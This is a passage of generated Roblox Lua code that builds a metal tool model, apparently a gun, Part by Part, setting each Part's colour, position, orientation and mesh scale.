- Part108.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part108.Position = Vector3.new(143.042938, 3.86991811, 144.387604)
- Part108.Orientation = Vector3.new(90, -90, 0)
- Part108.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh109.Parent = Part108
- CylinderMesh109.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
- CylinderMesh109.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
- Part110.Parent = Tool0
- Part110.Material = Enum.Material.Metal
- Part110.BrickColor = BrickColor.new("Dark stone grey")
- Part110.Rotation = Vector3.new(90, 0, -90)
- Part110.Anchored = true
- Part110.FormFactor = Enum.FormFactor.Custom
- Part110.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part110.CFrame = CFrame.new(144.396271, 3.98323798, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part110.BottomSurface = Enum.SurfaceType.Smooth
- Part110.TopSurface = Enum.SurfaceType.Smooth
- Part110.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part110.Position = Vector3.new(144.396271, 3.98323798, 144.28093)
- Part110.Orientation = Vector3.new(90, 90, 0)
- Part110.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh111.Parent = Part110
- BlockMesh111.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
- BlockMesh111.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
- Part112.Parent = Tool0
- Part112.Material = Enum.Material.Metal
- Part112.BrickColor = BrickColor.new("Dark stone grey")
- Part112.Rotation = Vector3.new(90, -90, 0)
- Part112.Anchored = true
- Part112.FormFactor = Enum.FormFactor.Custom
- Part112.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part112.CFrame = CFrame.new(144.642929, 3.97324896, 144.474274, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part112.BottomSurface = Enum.SurfaceType.Smooth
- Part112.TopSurface = Enum.SurfaceType.Smooth
- Part112.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part112.Position = Vector3.new(144.642929, 3.97324896, 144.474274)
- Part112.Orientation = Vector3.new(0, -90, -90)
- Part112.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh113.Parent = Part112
- SpecialMesh113.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
- SpecialMesh113.MeshType = Enum.MeshType.Wedge
- SpecialMesh113.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
- Part114.Parent = Tool0
- Part114.Material = Enum.Material.Metal
- Part114.BrickColor = BrickColor.new("Dark stone grey")
- Part114.Rotation = Vector3.new(90, 30, 90)
- Part114.Anchored = true
- Part114.FormFactor = Enum.FormFactor.Custom
- Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part114.CFrame = CFrame.new(144.093567, 3.61211801, 144.39093, 0, -0.866036117, 0.49998188, 0, -0.49998188, -0.866036117, 1, 0, 0)
- Part114.BottomSurface = Enum.SurfaceType.Smooth
- Part114.TopSurface = Enum.SurfaceType.Smooth
- Part114.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part114.Position = Vector3.new(144.093567, 3.61211801, 144.39093)
- Part114.Orientation = Vector3.new(60, 90, 180)
- Part114.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh115.Parent = Part114
- BlockMesh115.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
- BlockMesh115.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
- Part116.Parent = Tool0
- Part116.Material = Enum.Material.Metal
- Part116.BrickColor = BrickColor.new("Black")
- Part116.Rotation = Vector3.new(-90, -90, 0)
- Part116.Anchored = true
- Part116.FormFactor = Enum.FormFactor.Custom
- Part116.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part116.CFrame = CFrame.new(144.562943, 3.86657596, 144.307602, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part116.BottomSurface = Enum.SurfaceType.Smooth
- Part116.TopSurface = Enum.SurfaceType.Smooth
- Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part116.Position = Vector3.new(144.562943, 3.86657596, 144.307602)
- Part116.Orientation = Vector3.new(0, -90, 90)
- Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh117.Parent = Part116
- BlockMesh117.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
- BlockMesh117.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
- Part118.Parent = Tool0
- Part118.Material = Enum.Material.Metal
- Part118.BrickColor = BrickColor.new("Dark stone grey")
- Part118.Rotation = Vector3.new(-90, 0, -180)
- Part118.Anchored = true
- Part118.FormFactor = Enum.FormFactor.Custom
- Part118.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part118.CFrame = CFrame.new(144.12294, 3.76324296, 144.500931, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part118.BottomSurface = Enum.SurfaceType.Smooth
- Part118.TopSurface = Enum.SurfaceType.Smooth
- Part118.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part118.Position = Vector3.new(144.12294, 3.76324296, 144.500931)
- Part118.Orientation = Vector3.new(-90, -180, 0)
- Part118.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh119.Parent = Part118
- CylinderMesh119.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- CylinderMesh119.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
- Part120.Parent = Tool0
- Part120.Material = Enum.Material.Metal
- Part120.BrickColor = BrickColor.new("Dark stone grey")
- Part120.Rotation = Vector3.new(90, 0, -90)
- Part120.Anchored = true
- Part120.FormFactor = Enum.FormFactor.Custom
- Part120.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
- Part120.CFrame = CFrame.new(143.469604, 3.83991194, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part120.BottomSurface = Enum.SurfaceType.Smooth
- Part120.TopSurface = Enum.SurfaceType.Smooth
- Part120.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part120.Position = Vector3.new(143.469604, 3.83991194, 144.28093)
- Part120.Orientation = Vector3.new(90, 90, 0)
- Part120.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh121.Parent = Part120
- CylinderMesh121.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh121.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- Part122.Parent = Tool0
- Part122.Material = Enum.Material.Metal
- Part122.BrickColor = BrickColor.new("Dark stone grey")
- Part122.Rotation = Vector3.new(90, 0, -90)
- Part122.Anchored = true
- Part122.FormFactor = Enum.FormFactor.Custom
- Part122.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part122.CFrame = CFrame.new(144.939606, 4.01991081, 144.457596, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part122.BottomSurface = Enum.SurfaceType.Smooth
- Part122.TopSurface = Enum.SurfaceType.Smooth
- Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part122.Position = Vector3.new(144.939606, 4.01991081, 144.457596)
- Part122.Orientation = Vector3.new(90, 90, 0)
- Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh123.Parent = Part122
- BlockMesh123.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000072)
- BlockMesh123.Scale = Vector3.new(0.0666662827, 0.800000548, 0.300000072)
- Part124.Parent = Tool0
- Part124.Material = Enum.Material.Metal
- Part124.BrickColor = BrickColor.new("Dark stone grey")
- Part124.Rotation = Vector3.new(-90, 0, 90)
- Part124.Anchored = true
- Part124.FormFactor = Enum.FormFactor.Custom
- Part124.Size = Vector3.new(0.200000003, 0.466666579, 0.200000003)
- Part124.CFrame = CFrame.new(144.072937, 3.99991298, 144.484268, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part124.BottomSurface = Enum.SurfaceType.Smooth
- Part124.TopSurface = Enum.SurfaceType.Smooth
- Part124.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part124.Position = Vector3.new(144.072937, 3.99991298, 144.484268)
- Part124.Orientation = Vector3.new(-90, 90, 0)
- Part124.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh125.Parent = Part124
- BlockMesh125.Scale = Vector3.new(0.13333334, 1, 0.0999999717)
- BlockMesh125.Scale = Vector3.new(0.13333334, 1, 0.0999999717)
- Part126.Parent = Tool0
- Part126.Material = Enum.Material.Metal
- Part126.BrickColor = BrickColor.new("Dark stone grey")
- Part126.Rotation = Vector3.new(90, 0, 90)
- Part126.Anchored = true
- Part126.FormFactor = Enum.FormFactor.Custom
- Part126.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part126.CFrame = CFrame.new(143.78627, 3.99991298, 144.487595, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part126.BottomSurface = Enum.SurfaceType.Smooth
- Part126.TopSurface = Enum.SurfaceType.Smooth
- Part126.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part126.Position = Vector3.new(143.78627, 3.99991298, 144.487595)
- Part126.Orientation = Vector3.new(90, -90, 0)
- Part126.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh127.Parent = Part126
- SpecialMesh127.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
- SpecialMesh127.MeshType = Enum.MeshType.Wedge
- SpecialMesh127.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
- Part128.Parent = Tool0
- Part128.Material = Enum.Material.Metal
- Part128.BrickColor = BrickColor.new("Dark stone grey")
- Part128.Rotation = Vector3.new(90, 0, -180)
- Part128.Anchored = true
- Part128.FormFactor = Enum.FormFactor.Custom
- Part128.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part128.CFrame = CFrame.new(144.936279, 4.00324106, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part128.BottomSurface = Enum.SurfaceType.Smooth
- Part128.TopSurface = Enum.SurfaceType.Smooth
- Part128.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part128.Position = Vector3.new(144.936279, 4.00324106, 144.444275)
- Part128.Orientation = Vector3.new(90, 180, 0)
- Part128.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh129.Parent = Part128
- BlockMesh129.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
- BlockMesh129.Scale = Vector3.new(0.633333266, 0.0666662827, 0.133333355)
- Part130.Parent = Tool0
- Part130.Material = Enum.Material.Metal
- Part130.BrickColor = BrickColor.new("Dark stone grey")
- Part130.Rotation = Vector3.new(90, 0, -90)
- Part130.Anchored = true
- Part130.FormFactor = Enum.FormFactor.Custom
- Part130.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part130.CFrame = CFrame.new(144.769608, 3.97324896, 144.467606, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part130.BottomSurface = Enum.SurfaceType.Smooth
- Part130.TopSurface = Enum.SurfaceType.Smooth
- Part130.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part130.Position = Vector3.new(144.769608, 3.97324896, 144.467606)
- Part130.Orientation = Vector3.new(90, 90, 0)
- Part130.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh131.Parent = Part130
- BlockMesh131.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
- BlockMesh131.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
- Part132.Parent = Tool0
- Part132.Material = Enum.Material.Metal
- Part132.BrickColor = BrickColor.new("Dark stone grey")
- Part132.Rotation = Vector3.new(-90, 0, -90)
- Part132.Anchored = true
- Part132.FormFactor = Enum.FormFactor.Custom
- Part132.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part132.CFrame = CFrame.new(143.78627, 3.966573, 144.28093, 0, 0.999999762, 0, 0, 0, 0.999999762, 0.999999523, 0, 0)
- Part132.BottomSurface = Enum.SurfaceType.Smooth
- Part132.TopSurface = Enum.SurfaceType.Smooth
- Part132.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part132.Position = Vector3.new(143.78627, 3.966573, 144.28093)
- Part132.Orientation = Vector3.new(-89.9599991, 0, 0)
- Part132.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh133.Parent = Part132
- SpecialMesh133.Scale = Vector3.new(0.0333333351, 0.5333336, 0.100000083)
- SpecialMesh133.MeshType = Enum.MeshType.Wedge
- SpecialMesh133.Scale = Vector3.new(0.0333333351, 0.5333336, 0.100000083)
- Part134.Parent = Tool0
- Part134.Material = Enum.Material.Metal
- Part134.BrickColor = BrickColor.new("Dark stone grey")
- Part134.Rotation = Vector3.new(-90, 0, -90)
- Part134.Anchored = true
- Part134.FormFactor = Enum.FormFactor.Custom
- Part134.Size = Vector3.new(0.200000003, 0.286666751, 0.200000003)
- Part134.CFrame = CFrame.new(143.5896, 3.93991399, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- Part134.BottomSurface = Enum.SurfaceType.Smooth
- Part134.TopSurface = Enum.SurfaceType.Smooth
- Part134.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part134.Position = Vector3.new(143.5896, 3.93991399, 144.500931)
- Part134.Orientation = Vector3.new(-90, -90, 0)
- Part134.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh135.Parent = Part134
- SpecialMesh135.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
- SpecialMesh135.MeshType = Enum.MeshType.Wedge
- SpecialMesh135.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
- Part136.Parent = Tool0
- Part136.Material = Enum.Material.Metal
- Part136.BrickColor = BrickColor.new("Black")
- Part136.Rotation = Vector3.new(0, 90, 0)
- Part136.Anchored = true
- Part136.FormFactor = Enum.FormFactor.Custom
- Part136.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part136.CFrame = CFrame.new(144.469604, 3.88990903, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part136.BottomSurface = Enum.SurfaceType.Smooth
- Part136.TopSurface = Enum.SurfaceType.Smooth
- Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part136.Position = Vector3.new(144.469604, 3.88990903, 144.500931)
- Part136.Orientation = Vector3.new(0, 90, 0)
- Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh137.Parent = Part136
- SpecialMesh137.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
- SpecialMesh137.MeshType = Enum.MeshType.Wedge
- SpecialMesh137.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
- Part138.Parent = Tool0
- Part138.Material = Enum.Material.Metal
- Part138.BrickColor = BrickColor.new("Dark stone grey")
- Part138.Rotation = Vector3.new(90, 0, -180)
- Part138.Anchored = true
- Part138.FormFactor = Enum.FormFactor.Custom
- Part138.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part138.CFrame = CFrame.new(144.939606, 4.05324411, 144.324265, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part138.BottomSurface = Enum.SurfaceType.Smooth
- Part138.TopSurface = Enum.SurfaceType.Smooth
- Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part138.Position = Vector3.new(144.939606, 4.05324411, 144.324265)
- Part138.Orientation = Vector3.new(90, 180, 0)
- Part138.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh139.Parent = Part138
- CylinderMesh139.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
- CylinderMesh139.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
- Part140.Parent = Tool0
- Part140.Material = Enum.Material.Metal
- Part140.BrickColor = BrickColor.new("Dark stone grey")
- Part140.Rotation = Vector3.new(-180, 0, 0)
- Part140.Anchored = true
- Part140.FormFactor = Enum.FormFactor.Custom
- Part140.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part140.CFrame = CFrame.new(144.936279, 4.09991121, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part140.BottomSurface = Enum.SurfaceType.Smooth
- Part140.TopSurface = Enum.SurfaceType.Smooth
- Part140.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part140.Position = Vector3.new(144.936279, 4.09991121, 144.387604)
- Part140.Orientation = Vector3.new(0, 180, 180)
- Part140.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh141.Parent = Part140
- SpecialMesh141.Scale = Vector3.new(0.0729996637, 0.0666666701, 0.0700000226)
- SpecialMesh141.MeshType = Enum.MeshType.Sphere
- SpecialMesh141.Scale = Vector3.new(0.0729996637, 0.0666666701, 0.0700000226)
- Part142.Parent = Tool0
- Part142.Material = Enum.Material.Metal
- Part142.BrickColor = BrickColor.new("Black")
- Part142.Rotation = Vector3.new(0, 90, 0)
- Part142.Anchored = true
- Part142.FormFactor = Enum.FormFactor.Custom
- Part142.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part142.CFrame = CFrame.new(144.442932, 3.84324694, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part142.BottomSurface = Enum.SurfaceType.Smooth
- Part142.TopSurface = Enum.SurfaceType.Smooth
- Part142.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part142.Position = Vector3.new(144.442932, 3.84324694, 144.28093)
- Part142.Orientation = Vector3.new(0, 90, 0)
- Part142.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh143.Parent = Part142
- SpecialMesh143.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
- SpecialMesh143.MeshType = Enum.MeshType.Wedge
- SpecialMesh143.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
- Part144.Parent = Tool0
- Part144.Material = Enum.Material.Metal
- Part144.BrickColor = BrickColor.new("Dark stone grey")
- Part144.Rotation = Vector3.new(-90, 0, 90)
- Part144.Anchored = true
- Part144.FormFactor = Enum.FormFactor.Custom
- Part144.Size = Vector3.new(0.200000003, 0.906666756, 0.200000003)
- Part144.CFrame = CFrame.new(144.186279, 3.979913, 144.424271, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part144.BottomSurface = Enum.SurfaceType.Smooth
- Part144.TopSurface = Enum.SurfaceType.Smooth
- Part144.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part144.Position = Vector3.new(144.186279, 3.979913, 144.424271)
- Part144.Orientation = Vector3.new(-90, 90, 0)
- Part144.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh145.Parent = Part144
- BlockMesh145.Scale = Vector3.new(0.0666666776, 1, 0.0333333351)
- BlockMesh145.Scale = Vector3.new(0.0666666776, 1, 0.0333333351)
- Part146.Parent = Tool0
- Part146.Material = Enum.Material.Metal
- Part146.BrickColor = BrickColor.new("Dark stone grey")
- Part146.Rotation = Vector3.new(-180, 0, -90)
- Part146.Anchored = true
- Part146.FormFactor = Enum.FormFactor.Custom
- Part146.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part146.CFrame = CFrame.new(143.846268, 3.99324799, 144.500931, 0, 1, 0, 1, 0, 0, 0, 0, -1)
- Part146.BottomSurface = Enum.SurfaceType.Smooth
- Part146.TopSurface = Enum.SurfaceType.Smooth
- Part146.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part146.Position = Vector3.new(143.846268, 3.99324799, 144.500931)
- Part146.Orientation = Vector3.new(0, 180, 90)
- Part146.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh147.Parent = Part146
- SpecialMesh147.Scale = Vector3.new(0.166666314, 0.0666669533, 0.0333333388)
- SpecialMesh147.MeshType = Enum.MeshType.Wedge
- SpecialMesh147.Scale = Vector3.new(0.166666314, 0.0666669533, 0.0333333388)
- Part148.Parent = Tool0
- Part148.Material = Enum.Material.Metal
- Part148.BrickColor = BrickColor.new("Dark stone grey")
- Part148.Rotation = Vector3.new(90, 0, -90)
- Part148.Anchored = true
- Part148.FormFactor = Enum.FormFactor.Custom
- Part148.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part148.CFrame = CFrame.new(144.396271, 3.98324203, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part148.BottomSurface = Enum.SurfaceType.Smooth
- Part148.TopSurface = Enum.SurfaceType.Smooth
- Part148.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part148.Position = Vector3.new(144.396271, 3.98324203, 144.500931)
- Part148.Orientation = Vector3.new(90, 90, 0)
- Part148.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh149.Parent = Part148
- BlockMesh149.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
- BlockMesh149.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
- Part150.Parent = Tool0
- Part150.Material = Enum.Material.Metal
- Part150.BrickColor = BrickColor.new("Black")
- Part150.Rotation = Vector3.new(90, 0, 0)
- Part150.Anchored = true
- Part150.FormFactor = Enum.FormFactor.Custom
- Part150.Size = Vector3.new(0.379999995, 0.200000003, 0.200000003)
- Part150.CFrame = CFrame.new(144.829605, 3.86324501, 144.4776, 1, 0, 0, 0, 0, -1, 0, 1, 0)
- Part150.BottomSurface = Enum.SurfaceType.Smooth
- Part150.TopSurface = Enum.SurfaceType.Smooth
- Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part150.Position = Vector3.new(144.829605, 3.86324501, 144.4776)
- Part150.Orientation = Vector3.new(90, 0, 0)
- Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh151.Parent = Part150
- SpecialMesh151.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
- SpecialMesh151.MeshType = Enum.MeshType.Wedge
- SpecialMesh151.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
- Part152.Parent = Tool0
- Part152.Material = Enum.Material.Metal
- Part152.BrickColor = BrickColor.new("Dark stone grey")
- Part152.Rotation = Vector3.new(-90, -90, 0)
- Part152.Anchored = true
- Part152.FormFactor = Enum.FormFactor.Custom
- Part152.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part152.CFrame = CFrame.new(143.792938, 3.97324204, 144.490952, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part152.BottomSurface = Enum.SurfaceType.Smooth
- Part152.TopSurface = Enum.SurfaceType.Smooth
- Part152.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part152.Position = Vector3.new(143.792938, 3.97324204, 144.490952)
- Part152.Orientation = Vector3.new(0, -90, 90)
- Part152.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh153.Parent = Part152
- BlockMesh153.Scale = Vector3.new(0.166666493, 0.0666666701, 0.60000062)
- BlockMesh153.Scale = Vector3.new(0.166666493, 0.0666666701, 0.60000062)
- Part154.Parent = Tool0
- Part154.Material = Enum.Material.Metal
- Part154.BrickColor = BrickColor.new("Black")
- Part154.Rotation = Vector3.new(90, 0, -180)
- Part154.Anchored = true
- Part154.FormFactor = Enum.FormFactor.Custom
- Part154.Size = Vector3.new(0.379999995, 0.200000003, 0.200000003)
- Part154.CFrame = CFrame.new(144.829605, 3.86324501, 144.30426, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part154.BottomSurface = Enum.SurfaceType.Smooth
- Part154.TopSurface = Enum.SurfaceType.Smooth
- Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part154.Position = Vector3.new(144.829605, 3.86324501, 144.30426)
- Part154.Orientation = Vector3.new(90, 180, 0)
- Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh155.Parent = Part154
- SpecialMesh155.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
- SpecialMesh155.MeshType = Enum.MeshType.Wedge
- SpecialMesh155.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
- Part156.Parent = Tool0
- Part156.Material = Enum.Material.Metal
- Part156.BrickColor = BrickColor.new("Dark stone grey")
- Part156.Rotation = Vector3.new(90, 0, -180)
- Part156.Anchored = true
- Part156.FormFactor = Enum.FormFactor.Custom
- Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part156.CFrame = CFrame.new(145.009598, 4.00324106, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part156.BottomSurface = Enum.SurfaceType.Smooth
- Part156.TopSurface = Enum.SurfaceType.Smooth
- Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part156.Position = Vector3.new(145.009598, 4.00324106, 144.444275)
- Part156.Orientation = Vector3.new(90, 180, 0)
- Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh157.Parent = Part156
- BlockMesh157.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
- BlockMesh157.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
- Part158.Parent = Tool0
- Part158.Material = Enum.Material.Metal
- Part158.BrickColor = BrickColor.new("Dark stone grey")
- Part158.Rotation = Vector3.new(-90, -90, 0)
- Part158.Anchored = true
- Part158.FormFactor = Enum.FormFactor.Custom
- Part158.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part158.CFrame = CFrame.new(144.562943, 3.93991303, 144.307602, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part158.BottomSurface = Enum.SurfaceType.Smooth
- Part158.TopSurface = Enum.SurfaceType.Smooth
- Part158.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part158.Position = Vector3.new(144.562943, 3.93991303, 144.307602)
- Part158.Orientation = Vector3.new(0, -90, 90)
- Part158.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh159.Parent = Part158
- BlockMesh159.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
- BlockMesh159.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
- Part160.Parent = Tool0
- Part160.Material = Enum.Material.Metal
- Part160.BrickColor = BrickColor.new("Dark stone grey")
- Part160.Rotation = Vector3.new(-90, 0, 90)
- Part160.Anchored = true
- Part160.FormFactor = Enum.FormFactor.Custom
- Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part160.CFrame = CFrame.new(145.086273, 3.83324599, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part160.BottomSurface = Enum.SurfaceType.Smooth
- Part160.TopSurface = Enum.SurfaceType.Smooth
- Part160.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part160.Position = Vector3.new(145.086273, 3.83324599, 144.39093)
- Part160.Orientation = Vector3.new(-90, 90, 0)
- Part160.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh161.Parent = Part160
- CylinderMesh161.Scale = Vector3.new(0.953333139, 0.666666687, 0.769999862)
- CylinderMesh161.Scale = Vector3.new(0.953333139, 0.666666687, 0.769999862)
- Part162.Parent = Tool0
- Part162.Material = Enum.Material.Metal
- Part162.BrickColor = BrickColor.new("Black")
- Part162.Rotation = Vector3.new(-90, -90, 0)
- Part162.Anchored = true
- Part162.FormFactor = Enum.FormFactor.Custom
- Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.379999965)
- Part162.CFrame = CFrame.new(144.829605, 3.86657596, 144.31427, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part162.BottomSurface = Enum.SurfaceType.Smooth
- Part162.TopSurface = Enum.SurfaceType.Smooth
- Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part162.Position = Vector3.new(144.829605, 3.86657596, 144.31427)
- Part162.Orientation = Vector3.new(0, -90, 90)
- Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh163.Parent = Part162
- BlockMesh163.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
- BlockMesh163.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
- Part164.Parent = Tool0
- Part164.Material = Enum.Material.Metal
- Part164.BrickColor = BrickColor.new("Dark stone grey")
- Part164.Rotation = Vector3.new(-90, 90, 0)
- Part164.Anchored = true
- Part164.FormFactor = Enum.FormFactor.Custom
- Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part164.CFrame = CFrame.new(143.222946, 4.07324219, 144.39093, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part164.BottomSurface = Enum.SurfaceType.Smooth
- Part164.TopSurface = Enum.SurfaceType.Smooth
- Part164.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part164.Position = Vector3.new(143.222946, 4.07324219, 144.39093)
- Part164.Orientation = Vector3.new(0, 90, -90)
- Part164.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh165.Parent = Part164
- SpecialMesh165.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh165.Scale = Vector3.new(0.0166666675, 0.0166666675, 0.0533333346)
- SpecialMesh165.MeshType = Enum.MeshType.FileMesh
- SpecialMesh165.Scale = Vector3.new(0.0166666675, 0.0166666675, 0.0533333346)
- Part166.Parent = Tool0
- Part166.Material = Enum.Material.Metal
- Part166.BrickColor = BrickColor.new("Dark stone grey")
- Part166.Rotation = Vector3.new(90, 0, -90)
- Part166.Anchored = true
- Part166.FormFactor = Enum.FormFactor.Custom
- Part166.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part166.CFrame = CFrame.new(143.752945, 3.89991212, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part166.BottomSurface = Enum.SurfaceType.Smooth
- Part166.TopSurface = Enum.SurfaceType.Smooth
- Part166.Color = Color3.new(0.388235, 0.372549, 0.384314)
